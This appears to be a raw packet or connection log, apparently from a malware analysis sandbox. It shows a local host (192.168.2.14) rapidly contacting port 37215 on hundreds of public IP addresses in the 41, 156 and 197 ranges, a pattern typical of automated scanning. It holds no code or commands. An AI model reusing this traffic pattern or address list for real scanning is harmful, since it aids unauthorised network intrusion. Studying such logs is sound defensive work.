Nov 3, 2024 15:37:11.487027884 CET	35945	37215	192.168.2.14	41.210.78.8
Nov 3, 2024 15:37:11.487029076 CET	35945	37215	192.168.2.14	197.162.219.68
Nov 3, 2024 15:37:11.487030983 CET	35945	37215	192.168.2.14	197.13.136.4
Nov 3, 2024 15:37:11.487030983 CET	35945	37215	192.168.2.14	197.186.153.116
Nov 3, 2024 15:37:11.487030983 CET	35945	37215	192.168.2.14	197.83.126.37
Nov 3, 2024 15:37:11.487035990 CET	37215	54774	156.103.148.132	192.168.2.14
Nov 3, 2024 15:37:11.487040997 CET	35945	37215	192.168.2.14	197.25.130.41
Nov 3, 2024 15:37:11.487040997 CET	35945	37215	192.168.2.14	156.199.86.207
Nov 3, 2024 15:37:11.487041950 CET	35945	37215	192.168.2.14	41.164.217.198
Nov 3, 2024 15:37:11.487042904 CET	35945	37215	192.168.2.14	41.181.167.95
Nov 3, 2024 15:37:11.487042904 CET	35945	37215	192.168.2.14	41.211.135.187
Nov 3, 2024 15:37:11.487046003 CET	35945	37215	192.168.2.14	156.218.76.101
Nov 3, 2024 15:37:11.487046003 CET	35945	37215	192.168.2.14	41.145.60.134
Nov 3, 2024 15:37:11.487046003 CET	35945	37215	192.168.2.14	197.215.172.221
Nov 3, 2024 15:37:11.487046003 CET	35945	37215	192.168.2.14	197.148.60.63
Nov 3, 2024 15:37:11.487050056 CET	37215	40094	156.91.171.80	192.168.2.14
Nov 3, 2024 15:37:11.487050056 CET	35945	37215	192.168.2.14	156.218.106.183
Nov 3, 2024 15:37:11.487051964 CET	35945	37215	192.168.2.14	41.222.157.213
Nov 3, 2024 15:37:11.487054110 CET	35945	37215	192.168.2.14	41.248.5.43
Nov 3, 2024 15:37:11.487054110 CET	35945	37215	192.168.2.14	156.120.92.179
Nov 3, 2024 15:37:11.487054110 CET	35945	37215	192.168.2.14	197.148.140.228
Nov 3, 2024 15:37:11.487054110 CET	35945	37215	192.168.2.14	41.111.212.68
Nov 3, 2024 15:37:11.487056971 CET	37215	43864	197.204.14.128	192.168.2.14
Nov 3, 2024 15:37:11.487062931 CET	35945	37215	192.168.2.14	156.46.29.114
Nov 3, 2024 15:37:11.487062931 CET	35945	37215	192.168.2.14	41.127.242.253
Nov 3, 2024 15:37:11.487062931 CET	35945	37215	192.168.2.14	156.180.132.81
Nov 3, 2024 15:37:11.487067938 CET	35945	37215	192.168.2.14	156.77.8.64
Nov 3, 2024 15:37:11.487080097 CET	35945	37215	192.168.2.14	156.10.150.110
Nov 3, 2024 15:37:11.487080097 CET	35945	37215	192.168.2.14	41.155.19.250
Nov 3, 2024 15:37:11.487081051 CET	35945	37215	192.168.2.14	41.89.238.138
Nov 3, 2024 15:37:11.487081051 CET	35945	37215	192.168.2.14	197.153.131.54
Nov 3, 2024 15:37:11.487081051 CET	35945	37215	192.168.2.14	41.177.124.141
Nov 3, 2024 15:37:11.487081051 CET	35945	37215	192.168.2.14	156.46.174.208
Nov 3, 2024 15:37:11.487085104 CET	35945	37215	192.168.2.14	156.240.143.230
Nov 3, 2024 15:37:11.487091064 CET	35945	37215	192.168.2.14	41.99.141.152
Nov 3, 2024 15:37:11.487095118 CET	35945	37215	192.168.2.14	41.151.26.56
Nov 3, 2024 15:37:11.487104893 CET	35945	37215	192.168.2.14	41.240.103.34
Nov 3, 2024 15:37:11.487106085 CET	35945	37215	192.168.2.14	41.200.151.135
Nov 3, 2024 15:37:11.487106085 CET	35945	37215	192.168.2.14	197.133.42.242
Nov 3, 2024 15:37:11.487107992 CET	35945	37215	192.168.2.14	197.71.226.20
Nov 3, 2024 15:37:11.487107992 CET	35945	37215	192.168.2.14	41.1.189.74
Nov 3, 2024 15:37:11.487107992 CET	35945	37215	192.168.2.14	156.117.55.216
Nov 3, 2024 15:37:11.487108946 CET	35945	37215	192.168.2.14	156.62.143.235
Nov 3, 2024 15:37:11.487117052 CET	35945	37215	192.168.2.14	197.191.20.198
Nov 3, 2024 15:37:11.487121105 CET	35945	37215	192.168.2.14	41.205.82.156
Nov 3, 2024 15:37:11.487123013 CET	35945	37215	192.168.2.14	41.91.155.73
Nov 3, 2024 15:37:11.487123966 CET	35945	37215	192.168.2.14	41.44.123.166
Nov 3, 2024 15:37:11.487123966 CET	35945	37215	192.168.2.14	41.114.216.203
Nov 3, 2024 15:37:11.487128973 CET	35945	37215	192.168.2.14	41.212.156.157
Nov 3, 2024 15:37:11.487128973 CET	35945	37215	192.168.2.14	197.27.203.189
Nov 3, 2024 15:37:11.487128973 CET	35945	37215	192.168.2.14	156.243.85.180
Nov 3, 2024 15:37:11.487128973 CET	35945	37215	192.168.2.14	197.93.151.226
Nov 3, 2024 15:37:11.487128973 CET	35945	37215	192.168.2.14	41.9.113.213
Nov 3, 2024 15:37:11.487131119 CET	35945	37215	192.168.2.14	156.16.16.200
Nov 3, 2024 15:37:11.487138033 CET	35945	37215	192.168.2.14	197.76.203.211
Nov 3, 2024 15:37:11.487143040 CET	35945	37215	192.168.2.14	197.153.244.167
Nov 3, 2024 15:37:11.487143040 CET	35945	37215	192.168.2.14	41.3.249.48
Nov 3, 2024 15:37:11.487143993 CET	35945	37215	192.168.2.14	156.130.186.155
Nov 3, 2024 15:37:11.487143993 CET	35945	37215	192.168.2.14	156.151.79.33
Nov 3, 2024 15:37:11.487144947 CET	35945	37215	192.168.2.14	41.176.58.251
Nov 3, 2024 15:37:11.487147093 CET	35945	37215	192.168.2.14	156.236.201.128
Nov 3, 2024 15:37:11.487147093 CET	35945	37215	192.168.2.14	197.96.245.199
Nov 3, 2024 15:37:11.487147093 CET	35945	37215	192.168.2.14	197.202.29.222
Nov 3, 2024 15:37:11.487147093 CET	35945	37215	192.168.2.14	41.184.15.137
Nov 3, 2024 15:37:11.487153053 CET	37215	39672	156.175.54.142	192.168.2.14
Nov 3, 2024 15:37:11.487154007 CET	35945	37215	192.168.2.14	41.160.170.28
Nov 3, 2024 15:37:11.487157106 CET	37215	36656	197.147.132.168	192.168.2.14
Nov 3, 2024 15:37:11.487157106 CET	35945	37215	192.168.2.14	197.137.153.68
Nov 3, 2024 15:37:11.487158060 CET	35945	37215	192.168.2.14	41.107.3.77
Nov 3, 2024 15:37:11.487157106 CET	35945	37215	192.168.2.14	41.184.80.63
Nov 3, 2024 15:37:11.487159014 CET	35945	37215	192.168.2.14	41.218.163.54
Nov 3, 2024 15:37:11.487162113 CET	37215	36878	197.31.149.169	192.168.2.14
Nov 3, 2024 15:37:11.487162113 CET	35945	37215	192.168.2.14	41.168.10.218
Nov 3, 2024 15:37:11.487163067 CET	35945	37215	192.168.2.14	156.133.60.151
Nov 3, 2024 15:37:11.487163067 CET	35945	37215	192.168.2.14	197.123.49.191
Nov 3, 2024 15:37:11.487163067 CET	35945	37215	192.168.2.14	156.202.142.188
Nov 3, 2024 15:37:11.487163067 CET	35945	37215	192.168.2.14	156.94.158.74
Nov 3, 2024 15:37:11.487163067 CET	35945	37215	192.168.2.14	197.73.180.114
Nov 3, 2024 15:37:11.487165928 CET	37215	33116	197.108.23.217	192.168.2.14
Nov 3, 2024 15:37:11.487170935 CET	35945	37215	192.168.2.14	197.233.74.10
Nov 3, 2024 15:37:11.487170935 CET	35945	37215	192.168.2.14	41.213.122.47
Nov 3, 2024 15:37:11.487171888 CET	35945	37215	192.168.2.14	156.194.244.27
Nov 3, 2024 15:37:11.487171888 CET	35945	37215	192.168.2.14	197.138.79.39
Nov 3, 2024 15:37:11.487174988 CET	35945	37215	192.168.2.14	197.36.161.46
Nov 3, 2024 15:37:11.487176895 CET	35945	37215	192.168.2.14	156.134.0.133
Nov 3, 2024 15:37:11.487179041 CET	37215	37750	41.204.27.199	192.168.2.14
Nov 3, 2024 15:37:11.487188101 CET	37215	53508	156.108.194.67	192.168.2.14
Nov 3, 2024 15:37:11.487188101 CET	35945	37215	192.168.2.14	197.188.57.161
Nov 3, 2024 15:37:11.487188101 CET	35945	37215	192.168.2.14	156.65.147.31
Nov 3, 2024 15:37:11.487188101 CET	35945	37215	192.168.2.14	156.214.144.12
Nov 3, 2024 15:37:11.487189054 CET	35945	37215	192.168.2.14	197.2.162.241
Nov 3, 2024 15:37:11.487188101 CET	35945	37215	192.168.2.14	41.219.15.113
Nov 3, 2024 15:37:11.487188101 CET	35945	37215	192.168.2.14	197.221.6.137
Nov 3, 2024 15:37:11.487190008 CET	35945	37215	192.168.2.14	156.104.129.148
Nov 3, 2024 15:37:11.487196922 CET	37215	49530	197.156.27.154	192.168.2.14
Nov 3, 2024 15:37:11.487198114 CET	35945	37215	192.168.2.14	197.7.151.130
Nov 3, 2024 15:37:11.487201929 CET	35945	37215	192.168.2.14	156.245.177.201
Nov 3, 2024 15:37:11.487202883 CET	35945	37215	192.168.2.14	156.116.144.119
Nov 3, 2024 15:37:11.487205982 CET	35945	37215	192.168.2.14	197.183.206.79
Nov 3, 2024 15:37:11.487205982 CET	35945	37215	192.168.2.14	41.17.61.146
Nov 3, 2024 15:37:11.487206936 CET	35945	37215	192.168.2.14	41.88.84.13
Nov 3, 2024 15:37:11.487206936 CET	35945	37215	192.168.2.14	197.44.69.25
Nov 3, 2024 15:37:11.487207890 CET	35945	37215	192.168.2.14	156.201.196.135
Nov 3, 2024 15:37:11.487210035 CET	37215	56962	156.32.248.140	192.168.2.14
Nov 3, 2024 15:37:11.487217903 CET	37215	40870	41.115.20.24	192.168.2.14
Nov 3, 2024 15:37:11.487219095 CET	35945	37215	192.168.2.14	156.246.241.215
Nov 3, 2024 15:37:11.487220049 CET	35945	37215	192.168.2.14	156.246.219.191
Nov 3, 2024 15:37:11.487220049 CET	35945	37215	192.168.2.14	197.242.84.25
Nov 3, 2024 15:37:11.487221003 CET	35945	37215	192.168.2.14	156.131.225.73
Nov 3, 2024 15:37:11.487220049 CET	35945	37215	192.168.2.14	156.79.155.80
Nov 3, 2024 15:37:11.487221003 CET	35945	37215	192.168.2.14	197.164.204.127
Nov 3, 2024 15:37:11.487220049 CET	35945	37215	192.168.2.14	41.19.33.42
Nov 3, 2024 15:37:11.487221956 CET	35945	37215	192.168.2.14	41.195.122.200
Nov 3, 2024 15:37:11.487221003 CET	35945	37215	192.168.2.14	156.11.193.55
Nov 3, 2024 15:37:11.487221003 CET	35945	37215	192.168.2.14	41.111.76.70
Nov 3, 2024 15:37:11.487230062 CET	37215	49574	41.53.63.239	192.168.2.14
Nov 3, 2024 15:37:11.487231970 CET	35945	37215	192.168.2.14	41.66.140.40
Nov 3, 2024 15:37:11.487231970 CET	35945	37215	192.168.2.14	41.130.140.103
Nov 3, 2024 15:37:11.487232924 CET	35945	37215	192.168.2.14	197.10.253.209
Nov 3, 2024 15:37:11.487232924 CET	35945	37215	192.168.2.14	41.11.92.252
Nov 3, 2024 15:37:11.487234116 CET	35945	37215	192.168.2.14	156.59.38.139
Nov 3, 2024 15:37:11.487234116 CET	35945	37215	192.168.2.14	41.41.32.46
Nov 3, 2024 15:37:11.487235069 CET	37215	50894	197.213.145.152	192.168.2.14
Nov 3, 2024 15:37:11.487236023 CET	35945	37215	192.168.2.14	156.103.142.65
Nov 3, 2024 15:37:11.487236023 CET	35945	37215	192.168.2.14	197.62.240.74
Nov 3, 2024 15:37:11.487236023 CET	35945	37215	192.168.2.14	197.74.243.251
Nov 3, 2024 15:37:11.487236023 CET	35945	37215	192.168.2.14	156.102.80.235
Nov 3, 2024 15:37:11.487240076 CET	35945	37215	192.168.2.14	156.102.173.120
Nov 3, 2024 15:37:11.487245083 CET	35945	37215	192.168.2.14	197.112.5.172
Nov 3, 2024 15:37:11.487245083 CET	35945	37215	192.168.2.14	197.71.172.37
Nov 3, 2024 15:37:11.487246037 CET	35945	37215	192.168.2.14	156.10.235.251
Nov 3, 2024 15:37:11.487252951 CET	35945	37215	192.168.2.14	41.79.180.213
Nov 3, 2024 15:37:11.487257957 CET	35945	37215	192.168.2.14	156.50.61.9
Nov 3, 2024 15:37:11.487257957 CET	35945	37215	192.168.2.14	156.135.232.88
Nov 3, 2024 15:37:11.487257957 CET	35945	37215	192.168.2.14	41.104.241.39
Nov 3, 2024 15:37:11.487257957 CET	35945	37215	192.168.2.14	197.200.226.84
Nov 3, 2024 15:37:11.487257957 CET	35945	37215	192.168.2.14	41.231.179.116
Nov 3, 2024 15:37:11.487257957 CET	35945	37215	192.168.2.14	197.19.222.247
Nov 3, 2024 15:37:11.487265110 CET	35945	37215	192.168.2.14	41.214.162.220
Nov 3, 2024 15:37:11.487267017 CET	35945	37215	192.168.2.14	197.252.111.226
Nov 3, 2024 15:37:11.487268925 CET	35945	37215	192.168.2.14	156.124.102.200
Nov 3, 2024 15:37:11.487271070 CET	35945	37215	192.168.2.14	197.80.175.61
Nov 3, 2024 15:37:11.487271070 CET	35945	37215	192.168.2.14	156.208.238.129
Nov 3, 2024 15:37:11.487271070 CET	35945	37215	192.168.2.14	41.6.174.115
Nov 3, 2024 15:37:11.487273932 CET	35945	37215	192.168.2.14	156.234.183.127
Nov 3, 2024 15:37:11.487273932 CET	35945	37215	192.168.2.14	41.51.230.110
Nov 3, 2024 15:37:11.487279892 CET	35945	37215	192.168.2.14	41.167.137.59
Nov 3, 2024 15:37:11.487292051 CET	35945	37215	192.168.2.14	41.153.146.134
Nov 3, 2024 15:37:11.487292051 CET	35945	37215	192.168.2.14	197.224.239.33
Nov 3, 2024 15:37:11.487293005 CET	35945	37215	192.168.2.14	156.235.149.55
Nov 3, 2024 15:37:11.487299919 CET	35945	37215	192.168.2.14	41.208.109.232
Nov 3, 2024 15:37:11.487299919 CET	35945	37215	192.168.2.14	156.239.204.97
Nov 3, 2024 15:37:11.487299919 CET	35945	37215	192.168.2.14	197.220.39.55
Nov 3, 2024 15:37:11.487303019 CET	35945	37215	192.168.2.14	41.37.55.49
Nov 3, 2024 15:37:11.487303019 CET	35945	37215	192.168.2.14	41.17.57.53
Nov 3, 2024 15:37:11.487303019 CET	35945	37215	192.168.2.14	41.43.200.247
Nov 3, 2024 15:37:11.487306118 CET	35945	37215	192.168.2.14	41.135.26.186
Nov 3, 2024 15:37:11.487306118 CET	35945	37215	192.168.2.14	41.181.231.53
Nov 3, 2024 15:37:11.487315893 CET	35945	37215	192.168.2.14	197.135.239.199
Nov 3, 2024 15:37:11.487319946 CET	35945	37215	192.168.2.14	197.121.237.105
Nov 3, 2024 15:37:11.487320900 CET	35945	37215	192.168.2.14	156.74.169.192
Nov 3, 2024 15:37:11.487319946 CET	35945	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:11.487320900 CET	35945	37215	192.168.2.14	197.188.222.228
Nov 3, 2024 15:37:11.487323046 CET	35945	37215	192.168.2.14	156.194.42.59
Nov 3, 2024 15:37:11.487328053 CET	35945	37215	192.168.2.14	41.45.11.45
Nov 3, 2024 15:37:11.487328053 CET	35945	37215	192.168.2.14	197.183.129.145
Nov 3, 2024 15:37:11.487329006 CET	35945	37215	192.168.2.14	156.69.53.43
Nov 3, 2024 15:37:11.487334013 CET	35945	37215	192.168.2.14	156.130.65.200
Nov 3, 2024 15:37:11.487335920 CET	35945	37215	192.168.2.14	156.184.94.124
Nov 3, 2024 15:37:11.487335920 CET	35945	37215	192.168.2.14	197.79.61.243
Nov 3, 2024 15:37:11.487335920 CET	35945	37215	192.168.2.14	156.210.60.238
Nov 3, 2024 15:37:11.487376928 CET	56340	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:11.487379074 CET	37922	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:11.487379074 CET	55796	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:11.487380981 CET	35945	37215	192.168.2.14	156.82.199.59
Nov 3, 2024 15:37:11.487380981 CET	35945	37215	192.168.2.14	197.172.189.203
Nov 3, 2024 15:37:11.487380981 CET	35945	37215	192.168.2.14	156.193.126.26
Nov 3, 2024 15:37:11.487380981 CET	35945	37215	192.168.2.14	156.69.165.13
Nov 3, 2024 15:37:11.487380981 CET	33060	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:11.487382889 CET	35945	37215	192.168.2.14	197.249.207.70
Nov 3, 2024 15:37:11.487380981 CET	34226	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:11.487382889 CET	35945	37215	192.168.2.14	41.254.225.132
Nov 3, 2024 15:37:11.487382889 CET	35945	37215	192.168.2.14	156.66.78.212
Nov 3, 2024 15:37:11.487382889 CET	35945	37215	192.168.2.14	156.22.136.216
Nov 3, 2024 15:37:11.487382889 CET	35945	37215	192.168.2.14	197.149.210.68
Nov 3, 2024 15:37:11.487389088 CET	33116	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:11.487389088 CET	37750	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:11.487389088 CET	49890	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:11.487396002 CET	33438	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:11.487396002 CET	54774	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:11.487401962 CET	43864	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:11.487401962 CET	56962	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:11.487405062 CET	50894	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:11.487406969 CET	40094	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:11.487406969 CET	39672	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:11.487406969 CET	36878	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:11.487406969 CET	36656	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:11.487413883 CET	49530	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:11.487417936 CET	59588	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:11.487417936 CET	53508	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:11.487417936 CET	40870	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:11.487418890 CET	49574	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:11.487438917 CET	35945	37215	192.168.2.14	197.245.120.152
Nov 3, 2024 15:37:11.487442017 CET	37215	40444	41.210.242.120	192.168.2.14
Nov 3, 2024 15:37:11.487443924 CET	35945	37215	192.168.2.14	41.68.253.13
Nov 3, 2024 15:37:11.487445116 CET	35945	37215	192.168.2.14	156.223.194.200
Nov 3, 2024 15:37:11.487447023 CET	35945	37215	192.168.2.14	41.86.29.199
Nov 3, 2024 15:37:11.487446070 CET	35945	37215	192.168.2.14	197.189.65.144
Nov 3, 2024 15:37:11.487447023 CET	35945	37215	192.168.2.14	41.119.79.35
Nov 3, 2024 15:37:11.487452030 CET	37215	48942	41.22.109.55	192.168.2.14
Nov 3, 2024 15:37:11.487456083 CET	37215	57540	156.130.214.19	192.168.2.14
Nov 3, 2024 15:37:11.487457037 CET	35945	37215	192.168.2.14	197.80.70.166
Nov 3, 2024 15:37:11.487461090 CET	35945	37215	192.168.2.14	41.34.139.147
Nov 3, 2024 15:37:11.487464905 CET	37215	37294	156.1.250.39	192.168.2.14
Nov 3, 2024 15:37:11.487474918 CET	37215	49152	197.226.142.141	192.168.2.14
Nov 3, 2024 15:37:11.487483978 CET	37215	39056	156.135.37.168	192.168.2.14
Nov 3, 2024 15:37:11.487488031 CET	35945	37215	192.168.2.14	197.182.253.168
Nov 3, 2024 15:37:11.487493992 CET	37215	33002	197.137.102.189	192.168.2.14
Nov 3, 2024 15:37:11.487498999 CET	37215	51742	41.127.70.140	192.168.2.14
Nov 3, 2024 15:37:11.487503052 CET	48942	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:11.487503052 CET	40444	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:11.487503052 CET	37215	54772	41.166.36.238	192.168.2.14
Nov 3, 2024 15:37:11.487503052 CET	35945	37215	192.168.2.14	156.88.223.191
Nov 3, 2024 15:37:11.487503052 CET	57540	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:11.487503052 CET	37294	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:11.487508059 CET	37215	57902	41.95.41.83	192.168.2.14
Nov 3, 2024 15:37:11.487508059 CET	35945	37215	192.168.2.14	41.151.48.201
Nov 3, 2024 15:37:11.487509012 CET	35945	37215	192.168.2.14	41.203.41.196
Nov 3, 2024 15:37:11.487508059 CET	49152	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:11.487508059 CET	35945	37215	192.168.2.14	197.1.3.139
Nov 3, 2024 15:37:11.487512112 CET	37215	40250	156.3.134.146	192.168.2.14
Nov 3, 2024 15:37:11.487514973 CET	35945	37215	192.168.2.14	41.44.71.68
Nov 3, 2024 15:37:11.487515926 CET	37215	45430	41.219.228.84	192.168.2.14
Nov 3, 2024 15:37:11.487525940 CET	37215	43330	156.205.29.107	192.168.2.14
Nov 3, 2024 15:37:11.487534046 CET	35945	37215	192.168.2.14	197.163.93.55
Nov 3, 2024 15:37:11.487535000 CET	35945	37215	192.168.2.14	197.8.241.194
Nov 3, 2024 15:37:11.487543106 CET	35945	37215	192.168.2.14	41.66.82.33
Nov 3, 2024 15:37:11.487549067 CET	35945	37215	192.168.2.14	197.156.135.7
Nov 3, 2024 15:37:11.487549067 CET	39056	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:11.487549067 CET	35945	37215	192.168.2.14	41.36.248.54
Nov 3, 2024 15:37:11.487549067 CET	33002	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:11.487549067 CET	40250	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:11.487550974 CET	54772	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:11.487551928 CET	37215	55592	41.215.234.93	192.168.2.14
Nov 3, 2024 15:37:11.487549067 CET	51742	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:11.487550974 CET	45430	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:11.487555027 CET	57902	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:11.487560034 CET	35945	37215	192.168.2.14	41.191.43.48
Nov 3, 2024 15:37:11.487564087 CET	35945	37215	192.168.2.14	156.201.67.247
Nov 3, 2024 15:37:11.487565041 CET	37215	55998	156.74.107.240	192.168.2.14
Nov 3, 2024 15:37:11.487566948 CET	35945	37215	192.168.2.14	156.98.152.84
Nov 3, 2024 15:37:11.487570047 CET	37215	41604	156.221.255.137	192.168.2.14
Nov 3, 2024 15:37:11.487570047 CET	35945	37215	192.168.2.14	156.245.5.203
Nov 3, 2024 15:37:11.487580061 CET	37215	42620	41.217.7.145	192.168.2.14
Nov 3, 2024 15:37:11.487581968 CET	35945	37215	192.168.2.14	156.191.229.211
Nov 3, 2024 15:37:11.487584114 CET	37215	55748	156.10.11.88	192.168.2.14
Nov 3, 2024 15:37:11.487586975 CET	35945	37215	192.168.2.14	197.4.140.44
Nov 3, 2024 15:37:11.487595081 CET	37215	38342	41.236.104.122	192.168.2.14
Nov 3, 2024 15:37:11.487601995 CET	37215	47600	41.37.247.136	192.168.2.14
Nov 3, 2024 15:37:11.487602949 CET	41604	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:11.487606049 CET	43330	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:11.487606049 CET	55592	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:11.487606049 CET	55998	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:11.487612009 CET	37215	46172	41.227.68.72	192.168.2.14
Nov 3, 2024 15:37:11.487621069 CET	42620	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:11.487622023 CET	37215	45744	41.120.114.208	192.168.2.14
Nov 3, 2024 15:37:11.487624884 CET	55748	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:11.487632990 CET	38342	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:11.487643957 CET	47600	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:11.487653017 CET	48064	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:11.487653017 CET	48064	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:11.487658024 CET	46172	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:11.487673044 CET	49032	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:11.487673044 CET	45744	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:11.487675905 CET	44796	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:11.487689972 CET	44796	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:11.487715006 CET	45764	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:11.487716913 CET	57630	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:11.487716913 CET	56664	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:11.487716913 CET	56664	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:11.487741947 CET	37215	33818	41.208.203.43	192.168.2.14
Nov 3, 2024 15:37:11.487761021 CET	37215	49364	197.211.76.111	192.168.2.14
Nov 3, 2024 15:37:11.487761021 CET	40094	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:11.487761021 CET	40094	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:11.487771034 CET	37215	57990	156.68.52.194	192.168.2.14
Nov 3, 2024 15:37:11.487797022 CET	37215	52250	197.4.6.115	192.168.2.14
Nov 3, 2024 15:37:11.487797976 CET	33818	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:11.487801075 CET	41070	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:11.487801075 CET	49364	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:11.487804890 CET	47640	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:11.487804890 CET	37922	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:11.487804890 CET	37922	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:11.487804890 CET	46668	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:11.487807035 CET	37215	41994	156.5.106.240	192.168.2.14
Nov 3, 2024 15:37:11.487804890 CET	46668	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:11.487804890 CET	57990	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:11.487818956 CET	37215	35682	156.225.156.99	192.168.2.14
Nov 3, 2024 15:37:11.487823963 CET	37215	49030	156.197.2.99	192.168.2.14
Nov 3, 2024 15:37:11.487823963 CET	52250	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:11.487824917 CET	38892	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:11.487828016 CET	37215	37242	41.28.107.158	192.168.2.14
Nov 3, 2024 15:37:11.487833023 CET	37215	33532	156.78.250.236	192.168.2.14
Nov 3, 2024 15:37:11.487834930 CET	41316	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:11.487834930 CET	40346	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:11.487834930 CET	40346	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:11.487843037 CET	37215	33066	41.197.53.234	192.168.2.14
Nov 3, 2024 15:37:11.487860918 CET	55796	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:11.487860918 CET	55796	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:11.487860918 CET	37242	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:11.487862110 CET	37215	49894	197.3.79.206	192.168.2.14
Nov 3, 2024 15:37:11.487865925 CET	41994	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:11.487865925 CET	49030	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:11.487871885 CET	35682	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:11.487874031 CET	33532	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:11.487874031 CET	37215	47282	156.66.38.190	192.168.2.14
Nov 3, 2024 15:37:11.487879992 CET	56766	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:11.487889051 CET	37215	47940	156.246.166.190	192.168.2.14
Nov 3, 2024 15:37:11.487895012 CET	49894	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:11.487898111 CET	37215	56926	197.27.247.143	192.168.2.14
Nov 3, 2024 15:37:11.487899065 CET	33066	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:11.487901926 CET	47282	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:11.487903118 CET	37215	49060	41.104.189.119	192.168.2.14
Nov 3, 2024 15:37:11.487915993 CET	37215	58762	156.178.4.247	192.168.2.14
Nov 3, 2024 15:37:11.487916946 CET	35902	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:11.487917900 CET	47940	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:11.487926006 CET	37215	58866	197.117.220.43	192.168.2.14
Nov 3, 2024 15:37:11.487934113 CET	49060	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:11.487935066 CET	56926	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:11.487941027 CET	58762	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:11.487942934 CET	37215	55646	156.45.242.111	192.168.2.14
Nov 3, 2024 15:37:11.487953901 CET	35902	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:11.487955093 CET	37215	55750	156.157.41.72	192.168.2.14
Nov 3, 2024 15:37:11.487965107 CET	58866	37215	192.168.2.14	197.117.220.43
